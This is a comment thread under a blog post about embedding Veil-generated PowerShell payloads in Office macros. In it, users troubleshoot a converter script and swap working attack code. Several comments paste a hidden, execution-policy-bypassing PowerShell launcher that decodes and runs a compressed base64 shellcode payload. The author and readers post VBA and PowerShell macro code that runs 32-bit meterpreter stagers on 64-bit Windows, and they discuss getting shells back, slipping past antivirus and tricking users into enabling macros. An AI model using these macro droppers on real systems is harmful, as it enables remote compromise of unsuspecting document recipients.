55 comments on “Embedding Veil Powershell payloads into Office Documents

  1. Pingback: MOF-tastic tricks or how to use MOF and powershell together | khr@sh#: echo $GREETING

  2. Hi great article! I have a question though. How do specify the .bat file macro_save.py should read in order to convert it? Do you run macro_save.py in the same directory where the .bat file is located?

    Looking forward to hearing from you.

    Kind regards

  3. It is the first command line argument. You could use full path if need be, i.e. if you are trying to run it from /tmp/scripts/ input something such as: “python macros_safe.py /tmp/scripts/test.bat /var/www/output.txt”.

    Or you can simply copy the batch to local directory, either will work 🙂

  4. Hi & thanks for your reply!

    When I use the following setup I receive an error on line 20:

    root@kali:~/macro-test# python macro_safe.py powershell-443-test.bat test.txt
    File “macro_safe.py”, line 20
    holder.append(varstr + ‘ = ‘+ varstr +’ + “‘+instr[i:i+48])
    ^
    IndentationError: expected an indented block

    All files are within the same directory and the .bat file i’m using includes the following:
    ——————————————————————————————————————————-

    (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\”nVZNi+NGEL37VzRGB5uxhta3tGZgN1kCCyEEZtg9GB9a6lZGRJaNLG88m+S/R+/Jpckkl5BLS91d/epV1auWvEo9qPfLxe5j2346nI79sFr+6vrOtVF4b9t2ud6r06Vsm0qdBzOMD3cdxn31qRt+Hnr1uemHi2kXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXb+R56iW7xfecUzkB2v9p5eTU/54pnT9R1c3XTM0x055lfJ/Mgenll+aLgqXyu/G2flkKqe48sOlq2B5Vv7JnM/Dc39ZeNcH7/ju3Zsk642+BlrjEU2PWK+3avfdy+B2+713RkX11RbjTlWPQ2nGwToYhjhUjUPNNZhk8TiEGGoMiYVJgLPYLfGW5LKWJHCOszp6M80xdThbA97BUVgCAH4tkDNsWNhFYBXirCMouWAIYBfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX7CbOoBpSqTIMZmmkjAqMYS3rJaM61AYaMoiFXg2DrVBWZCQmbVGSVFwTGKMjZwBOqkbpaeh2BxDjGkKvAJRRpnAWy1RsnsqELKplILyZinyVLSRUz7UBnZdKfUgDYq1KAWUOZiuETJgcghVSByUMtuPOjWhpClAMCX4acIzdbx9jORlMs4l1IRaC+YQSqkRW6Nkp9QCyikTxtim64vXXCaxkQFlwSKz/WKQdGxJ7hIeJrwdeTNQjqTGvLDILGgBkxhvvH34NvVqItk18yVDGuyyMprzzBox8khOcIMFreaOShAlL8YMuXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXeXpAnVSRqIwByy3mxXLVuOlShVTESwK4U0sxNkLhtKjCHEsYp8ziXwLJe1cs3NLTt+ZUirIt+lKmz8sFCbzHFM0VoREqCLbLupjr1Ze86C3XqP81o2Tc3X/o+t+GZ79YD2u3t2t1e/4ft9+IHbTH8R+5V3vn47jJApX6zuvWW/UeHTnNfuNCtbqD3W8DH53advtnwvvG/8A3vz+jEw33nWDB778j4PpB/+xde6k/EdXHTur8IOg9V8=\”)))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();”)

    ————————————————————————————————————————————–

    As you kan see i’m runnig the below Kali version:

    Linux version 3.7-trunk-amd64 (debian-kernel@lists.debian.org) (gcc version 4.7.2 (Debian 4.7.2-5) ) #1 SMP Debian 3.7.2-0+kali8

    Thanks!

  5. I am getting this error….could you please help? Btw thanks for a great article and script –

    Traceback (most recent call last):
    File “macro_safe.py”, line 53, in
    cut[0] = cut[0].split(‘%==x86’)[1]
    IndexError: list index out of range

  6. Traceback (most recent call last):
    File “test.py”, line 53, in
    cut[0] = cut[0].split(‘%==x86’)[1]
    IndexError: list index out of range

  7. Since you both are getting the same error, I wonder if the veil powershell batch output has changed. Would either of you mind posting your syntax and maybe a copy of your bat file you are using? I could engineer a quick fix if that is the case.

  8. Thanks… yes the output has changed and as far I remember there is just one addition at the beginning of the output – “echo off” if i am not wrong
    I removed it and the script gave the perfect output

  9. Hey !
    Great blog, and this how to is a good idea. As the python script seems to not be updated (as people already mentioned) i tried to do it manually. I did not manage to get any shell back. I double check each steps of the how to with no success. Did somebody already manage to get a shell back?
    Thanks khr0x40sh for the great blog, many juicy idea and hours of interresting readings.

    • If you remove the first line @echo off from the batch, it works. As far as not receiving a shell back, are you seeing any errors? What version of Office did you try this with? I’ll try to get an updated python script out today.

      • Hi Khr0x40sh,
        You are right, removing the first line do the trick. As i have the same output that the manually one, with no effort at all now (great thanks), i do not have any shell back. I tested it with W7 running office 2013 and W8 Office 2010.
        I used a Veil/powershell/shellcode_inject/virtual waiting for a shell in msf or armitage. No message at all, thé document open and that ‘ s it.

  10. Macros are disabled by default in Office 2010. You will have run them manually or change the security settings to run them automatically. There must be other options as well that I am not aware of.

    • Hey Faiz,
      It is not coming from an “enable” issue. I run the macros manually. Did it works for you and what is your own config please?

  11. Hi Khr0x40sh,
    thanks in the name of everybody for updating the script. Great jewel. 🙂
    Still got the same issue, no shell back. As everybody seems to be ok with your work, it probably comes from me. Ips & ports are good, macro is enable. I’m running kali on an usb live testing W7 in a remote machine. I manage to have shell back with Veil payloads not embeded in macros. Do you have any idea of what i should fix ? Thanks for script, blog and help 🙂

    • After you launch the macro (or run it manually), does powershell.exe show up in taskmgr or process explorer? Do you have TcpView? If so, do you see powershell attempting to open a socket? If powershell doesn’t show up in either of the above, then it would appear your macro is not launching powershell.

      • Are you on a 64 bit machine by chance? I remember having some issues with the x86 payload not working on some of the x64 bit machines. If that is the case, the python above would not create the correct macro for the environment. Run the batch by itself and see what environment it returns (x86 or x64)

  12. Yes 64bit, this should probably come from there. Taskmgr shows me well opening the file but not the powershell.exe process.
    I however succeeds once or twice to obtain a shell.
    I also noticed that Avast catched the action silently, not at launch but rather in an heuristic way (the file passes the examination of the AV, but fails during the action). If you have any suggestions to get through those 2 walls… 🙂
    Thanks a lot for your answers.

  13. Hello khr0x40sh,
    did you find a way, and if it is yes how, to include veil’s payload in macros targeting 64 bit system.?

    • I believe it is possible by using the x64 meterpreter ( windows/x64/meterpreter/… ) payloads and just using the section after the else statement. I will actually test that and get back to you.

      • I am still working with the x64 meterpreter and not receiving anything back. To get it to run a 32-bit powershell on 64, you could use the %windir%\syswow64\windowspowershell\v1.0\powershell.exe in the exec line in place of just powershell. I think the Veil framework (as of version 2.9.1) may be not be able to properly inject 64-bit shellcode into its powershell template-this is just the theory based upon seeing win32 passthru in the template. I’ll keep on digging.

  14. thank you very much for this post!

    did you found a way to get it working on a x64 system?

    To get it to run a 32-bit powershell on 64 I tried to use %windir%\syswow64\windowspowershell\v1.0\powershell.exe in place of just powershell as u said above BUT i think you have to use also the whole second part of the .bat file insted of the first part that the python script uses!
    cound you help me modify the script or provide one that does the above?(not an expert in bash scripting 😦 )
    i think this will help other people too, to get this idea functional!
    thanks in advance for your time

    • There are a few tricks to do so. One, we could actually modify the template that gets encoded to launch the shellcode by checking to see if it 64-bit, and then call itself using the 32-bit powershell, a la the reverse of : http://www.cosmonautdreams.com/2013/09/03/Getting-Powershell-to-run-in-64-bit.html . You should be right about using the second half of the batch, although I am almost certain they are identical (I’ll do a diff to confirm). Anyways, let me test some things out and get back to you.

      I was never able to get 64-bit meterpreter to run via the Veil powershell payload in version 2.9.1, but I am fairly certain you can get 32-bit to run on 64-bit.

  15. that is what i am going for!(32-bit meterpreter on 64-bit system)
    Even if i implement this ‘smart’ script to change the powershell to 32-bit
    it isn’t going to work if i dont have the right shellcode in place.
    Am i wrong?

    did you verified that both parts are identical?
    thanks again

    • Both base64 sections should be identical since it should just be the exact same code. But I verified this anyways as seen in the copy/paste below:
      “root@Awesomeness64:~# diff -s veil-output/source/part1.64 veil-output/source/part2.64
      Files veil-output/source/part1.64 and veil-output/source/part2.64 are identical
      root@Awesomeness64:~# cat veil-output/source/part1.64
      nVTbbttIDH33VxDCLCAhliJfNhcLAZo6zda7dZrGadJdw1iMJdqaejSjjEaJHNf/XsrROunrvmhEisNzSB6KPcAZvHNa0wspR1mujXWdFRqFstcNEikdbwZ5OZcihsJySwdWlr7DSNlra+BOGFtyeS6ljt3GJ/PzJDFYFG0ohbKQPE3EMzbG4iWWUml1u85f3ddGW4ytF/1vLkOD3OJtSkfyyuXFPrfWiHlp8Q0py+PVC7N9MPmM3bPfu6+54RkS1v7yDotKuJR8+TbyBW2UUBnOu5Y16w1LqMPO+fvhxYfLPz6O/vzr0/jq8/WXm8nt17v7b3//w+dxgotlKr6vZKZ0/mAKWz4+VevnsNPt9X8/Oj45dYJbPUy5OTeGr12vtShVXKND7LJHbwMGbUl9cN0psZvOZsAef70BP2CMvCgN+p/n36nN4E/KzAvoAb9BWHXCEHx8gNOut33NbmHDFjV7J+oEQe/HQlNxcerrXQr6dnAGLJm6S7S+4SrRGfgZr0RGWVkSfEK1tKk320YNP7aI3mRH2EBudEyths2U10RnrCI4ehwA+3cbAaqEKFTEviA1NLiwcRU+/Wfc7HC9QJEWXG+7fQOw3AAxBpeJszBiAnxp4ahPbwcH3oalhGQjtqoBE0LACKApkK5IEMR3RXFFHZDWjGQEYgEu9bzwPNh3nSIItjGc08dvXx0qc3qFNpigeRQxXmsay5grvkQzGwxqL5ohGisWgjYB77gUyU5OQy7lnGRJmBtmTYnbiGVkXFHBzeAm68JiFtTp73E+lAKVjVosCz6S8NAUAcnXdcoCjU94yjptcMb6WUjJD/tBSPx1lhPYXFLF48noAxwFnQjuBfXxqYCrW8/xIqYIdBnB9P3a4k5Qed2GLLjQT0pqnlxwy10ntTYvBoeHneNu0O0EnVNK1T0enPT7vUOmHPBaTNM9YuTXu07qwGyO5gIXQondjNgD+Fe0W+AQgV7XAV+RVeQ8Rth5LptpFuDnvChsasoWq86YHgx++feEbZY3imuHVS8MQzr6oRdNm4bdlMqKDANaVTQ6b0ZTBGNuipRLmstQ52uX5W0I2zB92eiZyyraJDJ6Xdfz2rAHqUujK29/OYTYZlW7PsJ643RpfVVKks3ut+JPJGJOi4exJl2fHPXDcEvjj9PN9ic=”

      So it may be an issue of escaping the %windir% environment variable. If you replace %windir% with C:\Windows\SysWOW64\ (if that is your windir on your test box), does it work? If so, maybe you can call a stub powershell that runs either 32 or 64 to dump the architecture first and then then the windir if 64 bit.

      • Something like below should work. Just use the below template in place of exec on the current macro. I’ll be updating macro_safe.py very shortly to add in these changes, but this should execute 32-bit shellcode using 32-bit powershell on both 32 and 64-bit architectures.

        exec = “powershell.exe -Exec Bypass ”
        exec = exec + “$arch=$ENV:Processor_architecture;$windir1=Get-ChildItem Env:windir;”
        exec = exec + “$run = $(New-Object IO.StreamReader ($(New-Object IO.Compress”
        exec = exec + “ion.DeflateStream($(New-Object IO.MemoryStream(,$([Convert]::”
        exec = exec + “FromBase64String(\”” ” & str & “\””)))), [IO.Compression.Compressi”
        exec = exec + “onMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();$iex1 = Invoke-Expression $run;”
        exec = exec + “if($arch.Contains(\””64\””)){$powe”
        exec = exec + “rComm=$windir1.Value.ToString() +\””\\SysWOW64\\windowspowershell”
        exec = exec + “\\v1.0\\powershell.exe\””;}else{$powerComm=\””powershell.exe\””;};”
        exec = exec + “&$powerComm -exec Bypass IEX $($iex1)”

  16. wow
    i have not tested your script yet and i will once i got the time but thank u for your time kind stranger!

    i actually got this idea to work a couple of weeks ago without placing the shellcode inside the word file !
    (this way : http://tipstrickshack.blogspot.gr/2014/01/deliver-powershell-payload-using-macro.html )

    anyway , i think office docs give alot of warnings when it comes to running macro ..
    i was trying to find a way to force the user to run them, something like , hiding the content of the file until macro are enabled maybe…

    have a nice day 🙂

  17. Awesome work, but I ran into some issues.

    I tried using your latest python script which attempts to open powershell, but then powershell crashes: https://drive.google.com/file/d/0BzjR2sIPqAMpOEdfV0lSNV9YeXc/view?usp=sharing

    What did work is using your first script and replacing powershell with:
    c:\syswow64\windowspowershell\v1.0\powershell.exe

    When I tried to use an environment variable of %windir%, it failed to execute. The above method will work if the user is operating from the root of c:\. But it will not work otherwise.

    Were you able to get your last script to work reliably? Thanks again.

      • Still works on my tests. What are the parameters you are feeding Veil? Are you starting your listener before opening the office document? have you restarted your listener lately? I have found occasionally if the handler has been running a bit too long that it will cause future connections to either fail or error out, and I am not sure the powershell meterpreter can handle those errors properly.

        Also if you interested in this post, you should check out some of the client-side exploitation in Nishang (https://github.com/samratashok/nishang) . The Out-Excel command basically achieves the same thing as what I am trying to do here 🙂

      • Sorry for the typo above, I meant to put c:\windows\syswow64\…. Anyway, my test system is also Windows 7 x64. I figured out what is causing the crash:

        It is the very first call to powershell.exe (before the architecture detection):
        exec = “powershell.exe -NoP -NonI -W Hidden -Exec Bypass $arch”

        The rest of the detection and script works fine when I change the call to powershell to:
        exec = “c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass $arch”

        Just a suggestion, but maybe we can detect architecture via VBA to prevent the first call to powershell:

        MsgBox Environ(“PROCESSOR_ARCHITECTURE”)

        yields AMD64 for me.

  18. This seems to work reliably… It basically shifts the environment and root drive detection to vba instead of powershell. I wonder if 64 bit architecture can show up as anything other than “AMD64”. 😐 Could maybe implement a search.

    Dim Command As String

    Arch = Environ(“PROCESSOR_ARCHITECTURE”)
    windir = Environ(“windir”)

    If Arch = “AMD64” Then
    Command = windir + “\syswow64\windowspowershell\v1.0\powershell.exe”
    Else
    Command = “powershell.exe”
    End If

    — snip —

    exec = Command + ” -NoP -NonI -W Hidden -Exec Bypass -Comm”
    exec = exec + “and “”Invoke-Expression $(New-Object IO.StreamRe”
    exec = exec + “ader ($(New-Object IO.Compression.DeflateStream ”
    exec = exec + “($(New-Object IO.MemoryStream (,$([Convert]::Fro”
    exec = exec + “mBase64String(\”” ” & str & ” \”” )))), [IO.Comp”
    exec = exec + “ression.CompressionMode]::Decompress)), [Text.En”
    exec = exec + “coding]::ASCII)).ReadToEnd();”””

  19. Pingback: Bypass Antivirus | www.ipworkx.nl

  20. Pingback: Defensive Cyber Operations: Ground Zeroes | SealingTech

  21. Pingback: November 2015 V-Day - Veil - Framework

  22. Hi, very useful. I’m wondering if it would be possible to have the LHOST variable of the meterpreter session populated from a property of the word document ?
    thanks!

    • As in to run at runtime? Or as in to pull to create the Veil payload for the macro? I’m not sure how that could be done, unless Veil allows command-line arguments. A suggestion I would have is to use a DNS name for LHOST. I would suggest taking a look at https://www.veil-framework.com as they have incorporated a more integrated solution in their latest releases.

  23. Pingback: November 2015 V-Day – #OpIcarus

  24. Hi,

    It’s a great post. For learning purposes i tried using exeinvba.py script which has generated the vb code. when I try embedding this code into my macro in a word document, the same doesn’t get saved with an error disk is full. Btw, i was passing calc.exe to the script and the size of calc.exe is 800 KB. Any suggestions on where i might be doing it wrong.

    Thanks again for such an awesome post !!

    Thanks

    • I’ve never seen that before. What version of Office are you using? What O/S? I haven’t toyed with win10 and anything above Office 2013, so I don’t know how they react. Do you have a copy of the syntax and macro you used? Like a pastebin link?

      • same condition with me, exeinvba.py output for more then 64 kb .exe files not working on work and excel.

Leave a comment